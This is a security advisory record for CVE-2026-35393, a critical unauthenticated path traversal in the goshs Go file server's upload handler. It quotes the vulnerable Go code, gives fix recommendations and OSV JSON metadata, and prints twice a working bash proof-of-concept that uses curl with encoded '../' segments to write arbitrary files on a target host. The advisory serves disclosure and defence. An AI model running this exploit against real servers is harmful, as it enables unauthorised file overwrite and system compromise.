GHSA-JG56-WF8X-QRV5
Vulnerability from github – Published: 2026-04-03 04:08 – Updated: 2026-04-06 23:43Summary
- POST multipart upload directory not sanitized |
httpserver/updown.go:71-174
This finding affect the default configuration, no flags or authentication required.
Details
File: httpserver/updown.go:71-174
Trigger: POST /<path>/upload (server.go:49-51 checks HasSuffix(r.URL.Path, "/upload"))
The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from req.URL.Path unsanitized:
upath := req.URL.Path // unsanitized
targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1] // strips trailing "upload"
target := strings.Join(targetpath, "/")
filenameSlice := strings.Split(part.FileName(), "/")
filenameClean := filenameSlice[len(filenameSlice)-1] // filename sanitized
finalPath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, filenameClean)
The route requires the URL to end with /upload. An attacker uses a path like /../../target_dir/upload, the suffix satisfies routing, and the ../.. escapes the webroot. The filename on disk is controlled by the attacker via the multipart filename field (after basename extraction).
Impact: Unauthenticated arbitrary file write to any existing directory on the filesystem.
PoCs:
#!/usr/bin/env bash
#
# Example:
# ./arbitrary_overwrite2.sh 10.0.0.5 8080
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi
# Split target into directory and filename.
# The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename>
# So we put the target's dirname in the URL and the target's basename as the upload filename.
TARGET_DIR=$(dirname "$TARGET")
TARGET_NAME=$(basename "$TARGET")
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / and build path ending with /upload
TARGET_REL="${TARGET_DIR#/}"
POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload"
echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] POST: ${POST_PATH}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X POST \
-F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \
"http://${HOST}:${PORT}${POST_PATH}")
echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/patrickhener/goshs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.5-0.20260401172448-237f3af891a9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35393"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T04:08:20Z",
"nvd_published_at": "2026-04-06T21:16:21Z",
"severity": "CRITICAL"
},
"details": "### Summary\n* POST multipart upload directory not sanitized | `httpserver/updown.go:71-174`\n\nThis finding affect the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/updown.go:71-174`\n**Trigger:** `POST /\u003cpath\u003e/upload` (server.go:49-51 checks `HasSuffix(r.URL.Path, \"/upload\")`)\n\nThe filename is sanitized (slashes stripped, line 105-106), but the target directory comes from `req.URL.Path` unsanitized:\n\n```go\nupath := req.URL.Path // unsanitized\n\ntargetpath := strings.Split(upath, \"/\")\ntargetpath = targetpath[:len(targetpath)-1] // strips trailing \"upload\"\ntarget := strings.Join(targetpath, \"/\")\n\nfilenameSlice := strings.Split(part.FileName(), \"/\")\nfilenameClean := filenameSlice[len(filenameSlice)-1] // filename sanitized\n\nfinalPath := fmt.Sprintf(\"%s%s/%s\", fs.UploadFolder, target, filenameClean)\n```\n\nThe route requires the URL to end with `/upload`. An attacker uses a path like `/../../target_dir/upload`, the suffix satisfies routing, and the `../..` escapes the webroot. The filename on disk is controlled by the attacker via the multipart `filename` field (after basename extraction).\n\n**Impact:** Unauthenticated arbitrary file write to any existing directory on the filesystem.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n#\n# Example:\n# ./arbitrary_overwrite2.sh 10.0.0.5 8080\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nPORT=\"${2:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nLOCAL_FILE=\"${3:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nTARGET=\"${4:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\n\nif [ ! -f \"$LOCAL_FILE\" ]; then\n echo \"[-] Local file not found: $LOCAL_FILE\"\n exit 1\nfi\n\n# Split target into directory and filename.\n# The server builds: finalPath = UploadFolder + \u003cdir from URL\u003e + \"/\" + \u003cupload filename\u003e\n# So we put the target\u0027s dirname in the URL and the target\u0027s basename as the upload filename.\nTARGET_DIR=$(dirname \"$TARGET\")\nTARGET_NAME=$(basename \"$TARGET\")\n\n# 16 levels of %2e%2e/ (URL-encoded \"..\") to reach filesystem root.\n# Encoding is required so curl does not resolve the traversal client-side.\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n TRAVERSAL=\"${TRAVERSAL}%2e%2e/\"\ndone\n\n# Strip leading / and build path ending with /upload\nTARGET_REL=\"${TARGET_DIR#/}\"\nPOST_PATH=\"/${TRAVERSAL}${TARGET_REL}/upload\"\n\necho \"[*] Source: ${LOCAL_FILE}\"\necho \"[*] Target: ${TARGET}\"\necho \"[*] POST: ${POST_PATH}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n --path-as-is \\\n -X POST \\\n -F \"file=@${LOCAL_FILE};filename=${TARGET_NAME}\" \\\n \"http://${HOST}:${PORT}${POST_PATH}\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\necho \"[*] File should now exist at ${TARGET} on the target.\"\n```\n\nTo execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
"id": "GHSA-jg56-wf8x-qrv5",
"modified": "2026-04-06T23:43:49Z",
"published": "2026-04-03T04:08:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-jg56-wf8x-qrv5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35393"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickhener/goshs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "goshs: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) in goshs POST multipart upload"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.